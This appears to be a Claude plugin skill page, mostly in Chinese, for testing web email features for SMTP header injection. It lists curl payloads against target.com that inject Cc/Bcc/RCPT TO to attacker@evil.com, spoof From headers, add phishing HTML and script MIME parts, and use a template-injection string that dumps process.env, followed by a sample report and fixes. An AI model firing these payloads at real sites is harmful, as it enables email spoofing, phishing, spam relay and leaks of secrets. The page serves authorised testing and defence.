Tests web app email features like contact forms and password resets for SMTP header injection via CRLF payloads, enabling extra headers, recipient changes, and spam relay.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试联系表单、反馈表单或"邮件分享"功能时
Tests web app email features like contact forms and password resets for SMTP header injection using CRLF payloads to add headers, alter recipients, enable spam relay.
Tests web app email features like contact forms, password resets, and APIs for SMTP header injection via CRLF payloads, detecting header additions, recipient mods, and spam relay.
Conducts SMTP server pentests: discovers services with nmap, grabs banners, enumerates users via smtp-user-enum, tests open relays, brute-forces auth with hydra, and suggests hardening.
Share bugs, ideas, or general feedback.
# 识别会出现在邮件头部的表单字段:
# - "发件人"姓名或邮箱地址字段
# - 分享功能中的"收件人"或"抄送"字段
# - 主题行输入
# - 回复地址字段
# 常见端点:
# POST /contact — 联系表单
# POST /share — 邮件分享功能
# POST /invite — 邀请系统
# POST /api/send-email — 邮件 API 端点
# POST /forgot-password — 密码重置表单
# 先测试基本功能
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"
# 通过邮箱字段中的 CRLF 注入额外邮件头部
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# 注入 BCC 头部
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
# 通过 name 字段注入
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
# 通过 subject 字段注入
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
# 尝试不同的 CRLF 编码变体
# %0D%0A(CRLF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
# %0A(仅 LF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
# %0D(仅 CR)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
# 双重编码
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"
# 通过注入 Content-Type 和正文覆盖邮件内容
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# 注入额外的 MIME 部分
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# 覆盖 From 头部实施邮件伪造
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# 注入 Reply-To 用于网络钓鱼
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"
# 通过邮箱字段注入 IMAP 命令
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP 命令注入
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY 命令注入
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# 测试 SMTP 中继滥用
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
# JSON API 头部注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# 数组注入实现多收件人
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# 邮件正文中的模板注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
# 检查注入的 CC/BCC 邮件是否已收到
# 监控 attacker@evil.com 收件箱中的副本
# 通过邮件原始来源验证头部注入
# 在收到的邮件中,查看"查看原始邮件"或"显示邮件头"
# 寻找注入的 Cc:、Bcc:、From: 或 Reply-To: 头部
# 测试应用是否可被用作垃圾邮件中继
# 方法是在 BCC 中注入多个收件人
# 记录完整的注入链
# 1. 注入点(哪个字段)
# 2. 所需编码(CRLF、URL 编码)
# 3. 影响(垃圾邮件中继、网络钓鱼、数据窃取)
| 概念 | 定义 |
|---|---|
| CRLF 注入(CRLF Injection) | 注入回车和换行字符以创建新的邮件头部 |
| 头部注入(Header Injection) | 向外发邮件添加未授权头部(Cc、Bcc、From) |
| 垃圾邮件中继(Spam Relay) | 滥用邮件功能向任意收件人发送垃圾邮件 |
| 邮件伪造(Email Spoofing) | 修改 From 或 Reply-To 头部以冒充可信发件人 |
| MIME 操控(MIME Manipulation) | 注入 MIME 边界以覆盖邮件正文内容 |
| SMTP 命令注入(SMTP Command Injection) | 通过未经过滤的邮件参数注入原始 SMTP 命令 |
| 换行字符(Newline Characters) | \r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部 |
| 工具 | 用途 |
|---|---|
| Burp Suite | 修改与邮件相关的表单提交的 HTTP 代理 |
| swaks | SMTP 测试和头部注入验证的瑞士军刀工具 |
| OWASP ZAP | 具有邮件注入检测功能的自动化扫描器 |
| mailhog | 用于捕获注入邮件的本地 SMTP 测试服务器 |
| smtp4dev | 用于监控邮件注入结果的开发 SMTP 服务器 |
| Nuclei | 具有邮件头部注入检测模板的扫描器 |
## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)
### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC 头部已注入 | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:ceo@target.com | From 伪造 | Medium |
### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制